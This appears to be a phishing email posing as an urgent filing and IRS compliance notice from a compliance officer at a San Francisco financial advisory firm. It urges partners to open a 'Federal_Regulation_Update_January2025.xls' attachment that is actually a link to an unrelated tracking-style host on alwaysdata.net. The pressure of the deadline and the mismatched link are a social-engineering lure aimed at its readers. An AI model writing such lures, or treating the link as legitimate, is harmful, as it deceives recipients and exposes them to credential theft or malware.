Urgent: Review Required Before 2025 Filing Deadline

[Andy Motley]

Dear Partners,

Please review the attached document at your earliest convenience. It includes several updated filing requirements and federal compliance adjustments that must be acknowledged prior to the upcoming reporting deadline.

Timely review is necessary to avoid potential processing delays and additional documentary requests from the IRS.

If any clarification is needed, we are available to assist promptly.


Federal_Regulation_Update_January2025.xls<https://cpaa.alwaysdata.net/track/Federal_Regulation_Update_January2025/source/campaign-ads>

Warm regards,

Andy Motley

Compliance Department

Clearview Financial Advisors, Inc.

225 Mission St, Suite 1500

San Francisco, CA 94105

+1 (415) 863-1200